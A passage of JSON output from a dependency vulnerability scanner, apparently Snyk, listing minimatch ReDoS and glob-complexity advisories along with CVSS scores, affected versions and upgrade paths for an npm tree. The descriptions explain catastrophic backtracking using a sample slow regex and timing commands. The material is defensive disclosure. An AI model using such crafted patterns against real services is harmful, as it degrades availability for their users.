"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", 